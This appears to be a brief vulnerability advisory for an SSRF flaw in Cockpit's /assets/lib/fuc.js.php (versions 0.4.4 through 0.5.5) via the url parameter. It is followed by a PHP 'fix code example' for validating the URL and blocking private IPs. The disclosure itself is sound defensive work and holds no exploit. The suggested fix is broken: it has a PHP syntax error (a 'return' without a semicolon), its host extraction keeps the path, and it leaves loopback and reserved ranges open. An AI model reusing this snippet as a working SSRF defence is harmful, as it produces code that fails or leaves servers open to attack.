## Impact

SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to read arbitrary files or send TCP traffic to intranet hosts via the url parameter.

The fix code example：

    $url     = $_REQUEST['url'];
    $content = null;
    if (!filter_var($url, FILTER_VALIDATE_URL)) {

        header('HTTP/1.0 400 Bad Request');
        return;
    }

    // allow only http requests
    if (!preg_match('#^http(|s)\://#', $url)) {
        header('HTTP/1.0 403 Forbidden');
        return;
    }
    preg_match('/https*:\/\/(.+)/', $url, $matches);
    $host= count($matches) > 1 ? $matches[1] : '';
    $ip = gethostbyname($host);
    //check private ip
    if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
        return
    }

    curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 0);
